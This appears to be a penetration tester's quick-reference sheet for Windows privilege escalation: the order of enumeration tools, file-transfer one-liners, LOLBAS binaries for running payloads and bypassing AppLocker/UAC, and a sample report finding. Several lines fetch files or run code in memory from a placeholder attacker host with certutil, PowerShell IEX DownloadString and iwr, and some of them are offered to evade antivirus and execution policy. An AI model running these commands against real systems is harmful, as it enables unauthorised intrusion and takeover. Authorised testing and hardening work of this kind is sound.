Check service/registry weak permissions via SharpUp
UAC bypass if user is in Administrators group
Document full escalation chain for report
🎯 Operational Context
Use when: Windows shell obtained — quick reference for privilege escalation enumeration sequence and tool commands.
Think Dumber First:whoami /all → winpeas.exe → PowerUp.ps1 Invoke-AllChecks. Run in that order. whoami /all shows current privileges. WinPEAS highlights quick wins in red. PowerUp catches unquoted service paths and weak registry perms.
Skip when: N/A — reference document.
# certutil (most reliable — signed MS binary)certutil -urlcache -split -f http://[LHOST]/[FILE] C:\temp\[FILE]# PowerShell(New-Object Net.WebClient).DownloadFile('http://[LHOST]/[FILE]', 'C:\temp\[FILE]')IEX(New-Object Net.WebClient).DownloadString('http://[LHOST]/script.ps1')# Invoke-WebRequestiwr http://[LHOST]/[FILE] -OutFile C:\temp\[FILE]# SMBnet use Z: \\[LHOST]\share /user:guest ""copy Z:\[FILE] C:\temp\# Base64 encode and paste (when no network from target)# Attacker: base64 -w 0 file.exe# Target: echo "[BASE64]" | base64 -d > file.exe (or use PS)[IO.File]::WriteAllBytes("C:\temp\file.exe", [Convert]::FromBase64String("[BASE64]"))
Key LOLBAS for Payload Execution
Binary
Use
certutil.exe
Download files, base64 encode/decode
mshta.exe
Execute HTA payloads
regsvr32.exe
Execute SCT scripts via COM
rundll32.exe
Execute DLLs, JS, etc.
cmstp.exe
AppLocker bypass + UAC bypass
msiexec.exe
Execute MSI payloads
installutil.exe
Execute .NET assemblies
wmic.exe
Execute processes, XSL scripts
msbuild.exe
Build and execute C# inline tasks
Common Service Accounts with SeImpersonate
IIS: IIS AppPool\[APPNAME], NT AUTHORITY\IUSR
MSSQL: NT SERVICE\MSSQLSERVER, MSSQL$INSTANCE
MySQL: NETWORK SERVICE
Exchange: NT AUTHORITY\NETWORK SERVICE
Jenkins: varies — often LocalSystem or service account
🛠️ Troubleshooting & Edge Cases
Problem
Cause
Fix
winpeas.exe detected by AV
Default signature
Use PowerShell: IEX (New-Object Net.WebClient).DownloadString('http://[LHOST]/winPEASany.ps1')
PowerUp.ps1 blocked
Execution policy
Load via IEX: IEX (New-Object Net.WebClient).DownloadString('http://[LHOST]/PowerUp.ps1'); Invoke-AllChecks
whoami /all shows no special privs
Standard user token
Check if admin in local group: net localgroup administrators; or token impersonation available
Unquoted service path found but not exploitable
Cannot write to service binary dir
Need write access to one of the unquoted path directories; check each with icacls
Finding Title: Windows Privilege Escalation Vector Identified
Impact: Windows system misconfiguration identified via automated and manual enumeration provides a privilege escalation path from a low-privileged user to SYSTEM or Administrator without additional exploitation.
Root Cause: System not configured against CIS Windows Benchmark. Default or misconfigured service permissions, registry ACLs, or unquoted service paths not remediated.
Recommendation: Apply CIS Windows Server Benchmark. Run PowerUp.ps1 against all systems as part of regular hardening audit. Review service configurations and registry key permissions. Implement automated misconfiguration scanning.